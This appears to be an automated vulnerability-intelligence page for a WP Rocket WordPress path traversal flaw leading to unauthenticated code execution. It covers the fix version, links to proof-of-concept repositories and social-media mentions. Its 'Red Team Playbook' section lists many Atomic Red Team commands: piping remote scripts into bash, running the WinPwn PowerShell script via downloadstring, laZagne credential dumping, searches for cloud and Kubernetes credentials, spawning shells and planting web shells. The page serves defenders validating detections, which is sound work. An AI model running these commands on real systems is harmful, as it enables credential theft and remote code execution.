CVE-2026-125812
Overview
This vulnerability is a Path Traversal issue rooted in improper validation of file path inputs within the WP Rocket plugin for WordPress. The flaw occurs because the plugin's pathname handling logic fails to restrict access to directories outside the intended scope, specifically in the wp-rocket component. As a result, crafted input can manipulate file system paths, bypassing directory restrictions.
Vulnerability Description
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Media WP Rocket wp-rocket allows Path Traversal.This issue affects WP Rocket: from n/a before 3.24.2.
Impact
An unauthenticated attacker can leverage this vulnerability to access sensitive files on the server, potentially leading to disclosure of configuration files, source code, or other protected data. This unauthorized file access can facilitate further attacks, including remote code execution or system compromise. Because no user authentication or interaction is necessary, the attack surface is broad, increasing the likelihood of exploitation and resulting in significant business impact such as data breach and service disruption.
Solution
To remediate this vulnerability, upgrade WP Media WP Rocket to version 3.24.2 or later, where the path traversal issue has been addressed. The Patchstack advisory at https://patchstack.com/database/wordpress/plugin/wp-rocket/vulnerability/wordpress-wp-rocket-plugin-3-24-2-remote-code-execution-rce-vulnerability?_s_id=cve provides detailed patch instructions and confirms the fixed version. No additional workarounds are documented; applying the official update is required to resolve the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
joshuavanderpoll/CVE-2026-125812
WP Rocket < 3.24.2 | Unauthenticated Remote Code Execution (CVSS 9.8) | CVE-2026-125812
|
joshuavanderpoll | 5 | 0 | 2026-11-25 | View |
|
dinosn/cve-2026-125812-poc
CVE-2026-125812 WP Rocket <3.24.2 unauthenticated path traversal to PHP file write/RCE; minimal marker-only Python PoC
|
dinosn | 2 | 0 | 2026-11-28 | View |
|
foxcornlab/wp-rocket-scanner
Detection-only triage scanner for WP Rocket CVE-2026-125812 (unauthenticated RCE, CVSS 9.8, exploited in the wild since ...
|
foxcornlab | 0 | 0 | 2026-11-29 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 14 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (22)
21 mentions from 14 sources in the last 7 days BuzzFactor 72 / 100
-
code github.com foxcornlab 2026-11-29 04:23 UTCfoxcornlab/wp-rocket-scannerOpen source
-
code github.com dinosn 2026-11-28 17:42 UTCdinosn/cve-2026-125812-pocOpen source
-
social mastodon.social @117621815761498150 2026-11-28 16:11 UTCWP Rocket is under attack on WordPress sites! Patchstack says attackers began exploiting the speed plugin on Nov 25. You're only exposed on versions older than 3.24.2 with one of two speed settings on. Update, then check wp-content for str…Open source
-
social mastodon.social @117621815761498150 2026-11-28 16:10 UTCToday in Tech · AI · Security: • Attackers are hitting a WP Rocket flaw on WordPress sites; the fix is 3.24.2 • Elon called a Grok Bot prompt "worth trying"; it doesn't watch your screen • Microsoft is retiring its Family Safety app for Wi…Open source
-
social bsky.app @alttabdaily.com 2026-11-28 15:57 UTCToday in Tech · AI · Security: • A WP Rocket flaw is under attack; update to 3.24.2 • A Grok Bot prompt Elon liked doesn't watch your screen • Microsoft's Family Safety app for Windows retires in 2027 alttabdaily.com/posts/wp-roc...Open source
-
advisory vulnerability.circl.lu 2026-11-28 14:00 UTCOpen source
-
social bsky.app @windowsfaq.bsky.social 2026-11-28 11:45 UTCWer WP Rocket für WordPress verwendet, sollte jetzt seine Plugin-Version überprüfen. CVE-2026-125812 erreicht CVSS 9,8 und wird bereits aktiv angegriffen. Ein Sicherheitspatch steht bereit. #WordPress #WPRocket #ITSicherheit www.windows-fa…Open source
-
news mspbusiness.com 2026-11-28 09:45 UTCPatchwork – Saturday 28 November - mspbusiness.comOpen source
-
social bsky.app @donwebmedia.bsky.social 2026-11-28 08:34 UTCWP Rocket: la CVE-2026-125812 ya se explota La CVE-2026-125812 de WP Rocket, CVSS 9.8, ya se explota: permite ejecutar PHP sin credenciales. Cómo actualizar a 3.24.2 y qué indicadores revisar. #WPRocket #CVE2026125812 #RCE #WordPress #actu…Open source
-
social bsky.app @rescuemysites.bsky.social 2026-11-28 06:32 UTCWP Rocket CVE-2026-125812: the rocket_beacon RCE and who it reaches Since 25 November 2026 attackers have hit an unauthenticated RCE in WP Rocket before 3.24.2, via admin-ajax.php action=rocket_beacon. It needs one of two settings on. Most…Open source
-
news rescana.com 2026-11-27 17:23 UTCWP Rocket CVE-2026-125812 Unauthenticated RCE Under Active Attack: Update to 3.24.2 Now - RescanaOpen source
-
social bsky.app @centsbot.bsky.social 2026-11-27 15:15 UTCWP Rocket (5,5 M+ sites) : RCE sans compte exploitée depuis le 25/11, CVSS 9,8 (Patchstack). Touché si < 3.24.2 avec LazyLoad CSS ou polices Google locales. La mise à jour n'efface pas un PHP déjà déposé : fouillez wp-content/uploads. Guid…Open source
-
news note.com 2026-11-27 01:46 UTC[Information Update] WP Rocket Vulnerability | Start Checking with Free URL DiagnosticsOpen source
-
social bsky.app @threatcluster.io 2026-11-26 20:01 UTCPublic exploit code released for WP Rocket flaw CVE-2026-125812 The two-request chain writes files to the webroot of unauthenticated sites; active exploitation is not confirmed, and the flaw is fixed in WP Rocket 3.24.2. https://threatclus…Open source
-
social bsky.app @cve-ja.com 2026-11-25 20:23 UTC🔴 至急|WP Rocket(PoC 公開) 認証なしで、本来アクセスできない場所のファイルを操作されるおそれ。 ・PoC:GitHub で1件公開(未検証) ・修正:3.24.2 以降 CVE-2026-125812|CVSS 9.8 #Rocket #脆弱性Open source
-
social bsky.app @stemshop.bsky.social 2026-11-25 18:07 UTC🚨 CVE-2026-125812 — CVSS 9.8 CRITICAL Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Media WP... 🔎 https://stemshop.top/cve/CVE-2026-125812 #CVE #CyberSecurity #InfoSecOpen source
-
code github.com joshuavanderpoll 2026-11-25 17:31 UTCjoshuavanderpoll/CVE-2026-125812Open source
-
social bsky.app @stackflag.bsky.social 2026-11-25 17:20 UTCCVE-2026-125812 - wp rocket The WP Rocket caching plugin for WordPress can be tricked into accessing files outside its intended folder, allowing a malicious user to execute their own code on the website.… Too many irrelevant or confusing C…Open source
-
social bsky.app @kriptabiz.bsky.social 2026-11-25 15:16 UTCКритическая уязвимость в WP Rocket CVE-2026-125812: что нужно знать и как защитить сайт https://kripta.biz/posts/763EA6F0-FCEE-44E9-862F-E7C49ED63C95Open source
-
social bsky.app @thehackerwire.bsky.social 2026-11-25 13:33 UTC🔴 CVE-2026-125812 - Critical (9.8) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in W... https://www.thehackerwire.com/vulnerability/CVE-2026-125812/ #infosec #cybersecurity #CVE #vulnerabilit…Open source
-
social mastodon.social @115755483699003887 2026-11-25 13:33 UTC🔴 CVE-2026-125812 - Critical (9.8) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WP Media WP Rocket wp-rocket allows Path Traversal.This issue affects WP Rocket: from n/a before 3.24.2. 🔗 h…Open source
-
news 2-spyware.com 2026-10-09 06:49 UTCExploited now: vulnerabilities under active attack - 2-SpywareOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-125812 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/wp-rocket/vulnerability/wordpress-wp-rocket-plugin-3-24-2-remote-code-execution-rce-vulnerability?_s_id=cve |